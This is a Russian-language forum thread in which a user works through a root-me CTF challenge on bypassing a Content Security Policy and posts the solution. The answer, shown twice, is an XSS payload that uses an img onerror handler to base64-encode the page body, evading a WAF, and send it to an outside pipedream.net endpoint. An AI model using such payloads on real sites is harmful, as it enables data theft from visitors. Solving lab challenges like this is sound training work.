• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

csp bypass

nachtblume

Member
24.01.2021
5
0
BIT
0
Доброго времени суток! Задача из root-me на script-src:unsafe-inline


Условие задачи такое - на странице с xss дырой текст вида "...{flag}..". Эту переменную видит бот, которому можно скормить страницу для перехода, якобы для проверки. На деле - можно скинуть боту адрес исходный-домен/страница и он на нее перейдет. Страница генерируется автоматически, исходя из поля Name(вводится пользователем на другой странице), куда можно засунуть все что угодно. Я встроил в этот name body.onload = document.location.href=моя страница, на которой посетитель делает get запрос к странице с переменной и эта страничка отправляется в файл. Отправляю ссылку на эту страницу боту..пусто, $_GET пустое, я думал что получу страницу в том виде, в котором ее видит бот. Когда перехожу я - в файл сохраняется html код нужной страницы, без ключа разумеется.
Я где-то крупно ошибаюсь, то-ли вообще процесс работы запросов и их порядок понимаю крайне не правильно, подскажите, пожалуйста, направление.

В оригинале задача выглядит так
"At Quackquack corp the developers think that they do not have to patch XSS because they implement the Content Security Policy (CSP). But you are a hacker, right ? I'm sure you will be able to exfiltrate this flag: {FLAG_REDACTED}. (Only the bot is able to see the flag)"
Заранее спасибо за ваше время
 
Последнее редактирование:
Решение
Нашел решение - пейлоад вида <img src/ onerror = window.location.href='/pipedream.net/?flag='.concat(btoa(document.body.innerHtml))>, где btoa нужен чтобы обойти waf. Вообще не в том направлении думал изначально.

nachtblume

Member
24.01.2021
5
0
BIT
0
Нашел решение - пейлоад вида <img src/ onerror = window.location.href='/pipedream.net/?flag='.concat(btoa(document.body.innerHtml))>, где btoa нужен чтобы обойти waf. Вообще не в том направлении думал изначально.
 
Решение
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!